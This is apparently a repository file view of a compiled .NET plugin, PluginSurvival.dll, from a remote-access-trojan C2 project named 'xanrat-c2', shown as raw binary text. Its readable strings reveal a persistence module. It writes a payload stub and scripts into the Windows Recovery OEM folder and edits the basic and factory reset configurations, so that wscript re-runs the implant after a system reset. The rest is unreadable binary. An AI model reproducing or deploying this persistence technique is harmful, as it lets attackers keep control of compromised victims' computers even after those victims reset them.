Files
xanrat-c2/Plugins/PluginSurvival.dll
T

178 lines
12 KiB
Plaintext
Raw Normal View History

2026-08-27 11:23:37 -06:00
MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode.
$PELo)/gà" 0(fG `  `…GO`¨  H.textl' ( `.rsrc¨`*@@.reloc .@BHGHX)¼*uþ*
*0u
-*(*0Jo
, o
,to
o
( *s
%rpo
%rKpo
o+*(
*0s
o
Þ*êrWp(+~%-&~þs
%€(+(+s
*z~s
%o
%o
o+*0K~(
-"~(

rKpo!
(  Þ~(
,*~(
&**
0ú(
,prp( +rKpr±p( s"
((#
o$
~(%
(&
Þ&rKpr×p( ݉príp( r!p(#
(  (rmp(#
(rmp(#
% o'
(
,prwp( +rKprÃp(  (rprp( *H[0Ì(
,lrEprIpo(
rOprSpo(
rYpr]po(
rcprgpo(
rmprqpo(
rwpr{po(
rpr…po(
+  "%rp¢%¢%p¢%¢%rp¢%¢%rqp¢%¢%rp¢% ¢%
p¢()
*0ls"
%o$
%o$
,o*
~p(%
(+
Þ& Þ/~(,
,!~~p(%
(-
Þ& Þ**6Gcz~(,
- (*(*0 lprÿps.
%r p(/
%rp(¢%rMp(¢s0
¢s1
~(2
((*0¿~(3
r‡p(/
o4
~ %-&~þs5
%€ (+(+%~
%-&~þ s7
%€
(+ %rp( rMp(
-
rp( -
rMp(( (~o9
*0Tr‡p(/
%rp(/
s:
¢%rp(/
s;
¢%p(/
Œ,s;
¢s0
*0§s!
} þ"s5
( + -*r·prp(/
o=
(>
(#
p(/
o=
(>
%-&~?
p(/
o=
%-&+(@
rp(/
o=
oA
rprÿp (B
*0 (
oC
*0N

(D
-(#
~(%
(E
prÃp( Þ&rKprp(#
( Þ*"5v~(
- r%psF
z(*B(((*0=
~p(%
(,
,
~(-
*~(,
-*~(G
*0P ~p(%
(,
-*(H
 +%š
~ (%
(,
,(G
X Ži2Õ*2~(I
*0[sJ
(K
(L
~rAprSp(M
~r[p(%
~rwp(%
*.s*^~oN
oO
oP
*0Crp(/
oQ
(R
rMp(S
- rp(/
oQ
(R
rp(S
**Zp(/
o=
(T
*†rp(/
oQ
(R
{ (S
*BSJB v4.0.30319l$#~ #Stringsœ˜#US4#GUIDDx#BlobW_
ú3. "-T  Š!÷!¢çAÊ
m
N
Þ
ª
Ã
á

üÄþÁ2Á$¬
ÈP
jP
Š«
{Pˬ³¬
Y«¬·øh[y!Ĭ
ûPk©øì¬çá7á7áÒáè[×[[¯[n[¾¬d[ˆ¬ØçIÐÐIúºI!ôI.I !1ºê1/Ç1Ç1*Ç1Ç`î6ÔòDöþ|ÇP æ[ æÁ` æ$Ö Úà S,Ö Ú !Þ8 K!óà
l!= Ô!¼A ì"JÄ#PX$BXx$vXð$\X¼%q_&Ig Ð&Up#ð&ÈX'\'y*z'Žy*Œ'¢y*Ø'Ey*4(wy*Ö Ú*D(ày*«(ày*Ö Ú*·(ƒM}*Ð(ƒ +)ƒˆ,Ö Ú-6)ƒj-acL/aÞO2ÝðÝð&Ýð&Ýð&a<õõ&=@@YM ÚÚÚ
)Ú1Ú9ÚAÚIÚQÚYÚaÚiÚqÚyÚÚéÚ±³%±×*ùÚù
ù+©W.Ú GOÚh+nÀÚŸÉW.«Í°Ñs*ÚÈ.Î)#È1¥ÔÀÛ\æìû1t1«1È9ÚA2áÚ&IÚ/I*á@QF$Úh7[,Úh¼á*YÚáÚJ¥Qz¹á>Á Çi;á ÊQ.×ý«1¯àÑÚ1gæ1gôgúÁÚqÝ)ž)# AÁªÝá Y>'ñ.á>4ACME¥E. Ž...#¿.+Ó.3Ó.;Ó.C¿.KÙ.SÓ.[Ó.cñ.k.s(£ƒrÃrJ :¥·áò8œÒÜë?aÂSyl:ë):[:=-53]7ˆ9=5mt9tqtyt<>9__14_0<UpdateExistingResetConfig>b__14_0<>c__DisplayClass16_0<>9__6_0<GenerateRandomString>b__6_0<UpdatePhase>b__0<>9__14_1<UpdateExistingResetConfig>b__14_1IEnumerable`1List`1Int32Func`2Action`2<>9<Module>System.IOmscorlib<>cSystem.Collections.GenericLoadCreatePayloadpayloadAddUseEscapedadditionalCommandcommandSendReplaceXNodeIMessageget_MessagemessageAddRangeInvokeEnumerableRestoreOrDeleteConfigFileInstallFileSaveScriptFileXNamebasicResetFileNamefactoryResetFileNamefileNamephaseNamePluginNameCombineset_logtypeWhereSystem.CoreUpdatePhaseAddNewPhasephaseDeleteXAttributeCompilerGeneratedAttributeGuidAttributeDebuggableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeSecurityPermissionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeCanExecuteset_ValueSaveSystemDriveRemoveCreateOrUpdateResetConfigUpdateExistingResetConfigCreateNewResetConfigresetConfigBackupCurrentConfigInvokedCommon.NetworkingSystem.Runtime.VersioningGenerateRandomStringSendLogNewSurvivalLogset_logOEMPathResetConfigPathOEMDataBackupPathpathget_LengthlengthExecuteCallbackcallbackPluginSurvivalDoSurvivialInstall_UninstallPluginSurvival.dllSystemRandomrandomCanExecuteFromPluginget_filextensionXDeclarationdurationSecurityActionSystem.ReflectionExceptionInvokedCommonDirectoryInfoDeleteFilesFromBackupSystem.Xml.LinqSystem.LinqDeleteBackupFolderISendersenderPluginSurvivalHandlerXContainerPlugin.HelperIMessageProcessor.ctor.cctorSystem.DiagnosticsRSFuncsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesDebuggingModesInvokedCommon.MessagesReadAllLinesWriteAllLinesphasesadditionalDeletesfileBytesWriteAllBytesget_filebytesSystem.Security.Permissionsget_CharsPluginSurvival.MessageHandlersElementsExistsConcatRepeatObjectSelectop_Implicitop_ExplicitFirstOrDefaultClient_clientXElementCreateRunElementCreateEnvironmentXDocumentGetPathRootNextWriteAllTextMaxToArrayCopyCreateDirectoryget_SystemDirectoryop_EqualityIsNullOrEmptyIInvalid file bytes or file extension errorIABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789success%Already Installed!No access!3Stub successfully writtenKwscript %TARGETOSDRIVE%\Recovery\OEM\ .batKSuccessfully backed up current config?Error backing up current configcomplete/Successfully Installed!%%%^^^&^&|^|<^<>^>"""
@echo off
for /F "tokens=1,2,3 delims= " %%A in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS') DO SET TARGETOS=%%C